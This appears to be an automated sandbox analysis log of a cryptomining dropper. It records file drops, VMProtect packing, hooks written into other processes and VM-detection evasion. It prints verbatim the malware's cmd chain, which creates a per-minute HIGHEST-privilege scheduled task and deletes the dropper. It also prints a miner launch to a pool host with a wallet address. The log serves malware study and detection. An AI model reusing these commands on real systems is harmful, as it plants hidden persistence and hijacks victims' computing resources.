Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Process created: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process created: C:\Users\user\AppData\Local\Temp\user_707748.exe "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT CommandLine FROM Win32_Process

Source: C:\Users\user\Desktop\FTrondtloadws.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6360531

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1340:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5272:120:WilError_01
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Mutant created: \Sessions\1\BaseNamedObjects\cphgxmlyin

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Command line argument: sfxname	0_2_00CDEEDC
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Command line argument: sfxstime	0_2_00CDEEDC
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Command line argument: STARTDLG	0_2_00CDEEDC

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: FTrondtloadws.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: FTrondtloadws.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: FTrondtloadws.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: FTrondtloadws.exe
Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20230510_092127_600.etl.18.dr

Source: FTrondtloadws.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: FTrondtloadws.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: FTrondtloadws.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: FTrondtloadws.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: FTrondtloadws.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 1.0.FTrondtloadw.exe.c20000.0.unpack, u0031D6A1366.cs

.Net Code: 66515971

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE0640 push ecx; ret	0_2_00CE0653
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CDFD4C push eax; ret	0_2_00CDFD6A
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Code function: 1_2_03036346 pushfd ; ret	1_2_03036361
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_010BFA48 push es; retn 0009h	7_2_010BFA4A
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Code function: 7_2_050D634E pushfd ; ret	7_2_050D6361

Source: FTrondtloadw.exe.0.dr

Static PE information: 0xE0A09FBC [Fri Jun 3 07:43:56 2089 UTC]

Source: FTrondtloadws.exe	Static PE information: section name: .didat
Source: FTrondtloadw.exe.0.dr	Static PE information: section name: .vmp0
Source: FTrondtloadw.exe.0.dr	Static PE information: section name: .vmp1
Source: FTrondtloadw.exe.1.dr	Static PE information: section name: .vmp0
Source: FTrondtloadw.exe.1.dr	Static PE information: section name: .vmp1
Source: user_707748.exe.7.dr	Static PE information: section name: _RANDOMX
Source: user_707748.exe.7.dr	Static PE information: section name: _SHA3_25
Source: user_707748.exe.7.dr	Static PE information: section name: _TEXT_CN
Source: user_707748.exe.7.dr	Static PE information: section name: _TEXT_CN
Source: user_707748.exe.7.dr	Static PE information: section name: _RDATA
Source: user_707748.exe.7.dr	Static PE information: section name: .vmp0
Source: user_707748.exe.7.dr	Static PE information: section name: .vmp1

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: C:\Users\user\Desktop\FTrondtloadws.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6360531

Jump to behavior

Source: initial sample	Static PE information: section name: .vmp1 entropy: 7.2160491185383115
Source: initial sample	Static PE information: section name: .vmp1 entropy: 7.2160491185383115

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	File created: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	File created: C:\Users\user\AppData\Local\Temp\user_707748.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FTrondtloadws.exe	File created: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Memory written: PID: 2820 base: 7FFC32240008 value: E9 7B A9 EA FF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Memory written: PID: 2820 base: 7FFC320EA980 value: E9 90 56 15 00	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Memory written: PID: 2820 base: 7FFC3225000D value: E9 6B 9B EC FF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Memory written: PID: 2820 base: 7FFC32119B70 value: E9 AA 64 13 00	Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	System information queried: FirmwareTableInformation

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

Special instruction interceptor: First address: 00007FF6F8FC3104 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe TID: 1404	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe TID: 5144	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe TID: 5144	Thread sleep time: -101000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe TID: 1800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-24388

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

